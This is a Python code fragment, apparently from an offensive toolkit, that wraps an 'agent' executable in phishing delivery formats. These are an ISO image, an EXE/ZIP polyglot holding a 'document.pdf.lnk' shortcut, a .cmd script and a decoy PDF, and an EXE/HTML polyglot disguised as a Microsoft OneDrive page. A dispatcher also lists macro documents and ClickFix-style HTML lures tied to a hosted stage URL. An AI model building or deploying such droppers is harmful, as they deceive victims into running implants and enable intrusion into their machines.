name = "".join(ch for ch in out_name.upper() if ch.isalnum())[:8] or "AGENT"
|
|
iso.add_fp(io.BytesIO(agent), len(agent),
|
|
"/%s.EXE;1" % name, joliet_path="/%s.exe" % out_name)
|
|
path = str(p["dist"] / (out_name + ".iso"))
|
|
iso.write(path)
|
|
iso.close()
|
|
return path
|
|
|
|
|
|
# ---------------------------------------------------------------- polyglots
|
|
|
|
def build_polyglot_exe_zip(p, agent: bytes, out_name: str) -> str:
|
|
decoy_url = _decoy_url(p, out_name)
|
|
if not decoy_url:
|
|
return None
|
|
lnk = _lnk_builder(p, out_name, decoy_url)
|
|
script = _lnk_cmd_script(p, out_name, decoy_url)
|
|
if lnk is None or script is None:
|
|
return None
|
|
lnk_bytes = io.BytesIO()
|
|
lnk.save(lnk_bytes)
|
|
zip_part = _zip_of([("document.pdf.lnk", lnk_bytes.getvalue()),
|
|
(out_name + ".cmd", script)])
|
|
path = str(p["dist"] / (out_name + ".polyglot.zip"))
|
|
Path(path).write_bytes(agent + zip_part)
|
|
Path(str(p["dist"] / (out_name + ".decoy.pdf"))).write_bytes(
|
|
_decoy_artifact(out_name))
|
|
return path
|
|
|
|
|
|
def build_polyglot_html(p, agent: bytes, out_name: str) -> str:
|
|
decoy = (
|
|
"<!DOCTYPE html>\n<html>\n<head><title>Microsoft OneDrive</title></head>\n"
|
|
"<body>\n<p>%s</p>\n</body>\n</html>\n"
|
|
% _pick_decoy()
|
|
).encode("utf-8")
|
|
path = str(p["dist"] / (out_name + ".polyglot.html"))
|
|
Path(path).write_bytes(agent + decoy)
|
|
return path
|
|
|
|
|
|
# ---------------------------------------------------------------- dispatcher
|
|
|
|
_BUILDERS = {
|
|
"docm": build_docm,
|
|
"xlsm": build_xlsm,
|
|
"html": build_html,
|
|
"clickfix_html": build_clickfix_html,
|
|
"lnk": build_lnk,
|
|
"pdf": build_pdf,
|
|
"iso": build_iso,
|
|
"polyglot_exe_zip": build_polyglot_exe_zip,
|
|
"polyglot_html": build_polyglot_html,
|
|
}
|
|
|
|
|
|
def build_payloads(p: dict, agent: bytes, formats: list) -> list:
|
|
"""Build the requested wrappers into dist/. Returns manifest entries."""
|
|
status = lib_status()
|
|
out = []
|
|
for fmt in formats:
|
|
if fmt not in _BUILDERS:
|
|
print(" [!] unknown payload format: %s" % fmt)
|
|
continue
|
|
builder = _BUILDERS[fmt]
|
|
deps = _DEPS[fmt]
|
|
missing = [d for d in deps if not status[d][0]]
|
|
if missing:
|
|
print(" [!] %s skipped: missing %s (pip install %s)"
|
|
% (fmt, ", ".join(missing), ", ".join(status[d][1] for d in missing)))
|
|
continue
|
|
if fmt in STAGE_REQUIRED and not p.get("stage_url"):
|
|
print(" [!] %s skipped: needs STAGE_URL (host the agent somewhere "
|
|
"and pass STAGE_URL=<url>)" % fmt)
|
|
continue
|
|
out_name = p.get("out", "misery")
|
|
try:
|
|
path = builder(p, agent, out_name)
|
|
except Exception as e:
|
|
print(" [!] %s failed: %s" % (fmt, e))
|
|
continue
|
|
if path and Path(path).exists():
|
|
out.append(_entry(path, fmt))
|
|
print(" [+] %s -> %s" % (fmt, Path(path).name))
|
|
return out |